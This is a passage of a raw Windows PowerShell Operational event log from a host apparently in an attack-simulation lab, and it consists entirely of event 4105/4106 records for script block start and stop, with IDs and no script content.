09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030598
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030597
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030592
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030591
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030585
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030582
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030569
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030568
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030567
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030566
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030553
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
